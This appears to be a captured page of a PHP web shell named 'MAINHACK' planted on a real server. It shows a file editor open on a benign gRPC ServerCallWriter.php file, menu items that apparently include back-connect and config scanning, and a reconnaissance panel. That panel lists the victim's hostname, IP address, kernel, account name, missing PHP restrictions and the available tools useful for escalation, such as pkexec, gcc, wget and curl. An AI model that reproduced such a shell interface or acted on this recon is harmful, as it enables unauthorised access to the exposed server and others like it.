[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ServerCallWriter.php
<?php /* * * Copyright 2020 gRPC authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ namespace Grpc; /** * This is an experimental and incomplete implementation of gRPC server * for PHP. APIs are _definitely_ going to be changed. * * DO NOT USE in production. */ class ServerCallWriter { public function __construct($call, $serverContext) { $this->call_ = $call; $this->serverContext_ = $serverContext; } public function start( $data = null, array $options = [] ) { $batch = []; $this->addSendInitialMetadataOpIfNotSent( $batch, $this->serverContext_->initialMetadata() ); $this->addSendMessageOpIfHasData($batch, $data, $options); $this->call_->startBatch($batch); } public function write( $data, array $options = [] ) { $batch = []; $this->addSendInitialMetadataOpIfNotSent( $batch, $this->serverContext_->initialMetadata() ); $this->addSendMessageOpIfHasData($batch, $data, $options); $this->call_->startBatch($batch); } public function finish( $data = null, array $options = [] ) { $batch = [ OP_SEND_STATUS_FROM_SERVER => $this->serverContext_->status() ?? Status::ok(), OP_RECV_CLOSE_ON_SERVER => true, ]; $this->addSendInitialMetadataOpIfNotSent( $batch, $this->serverContext_->initialMetadata() ); $this->addSendMessageOpIfHasData($batch, $data, $options); $this->call_->startBatch($batch); } //////////////////////////// private function addSendInitialMetadataOpIfNotSent( array &$batch, array $initialMetadata = null ) { if (!$this->initialMetadataSent_) { $batch[OP_SEND_INITIAL_METADATA] = $initialMetadata ?? []; $this->initialMetadataSent_ = true; } } private function addSendMessageOpIfHasData( array &$batch, $data = null, array $options = [] ) { if ($data) { $message_array = ['message' => $data->serializeToString()]; if (array_key_exists('flags', $options)) { $message_array['flags'] = $options['flags']; } $batch[OP_SEND_MESSAGE] = $message_array; } } private $call_; private $initialMetadataSent_ = false; private $serverContext_; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.5 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002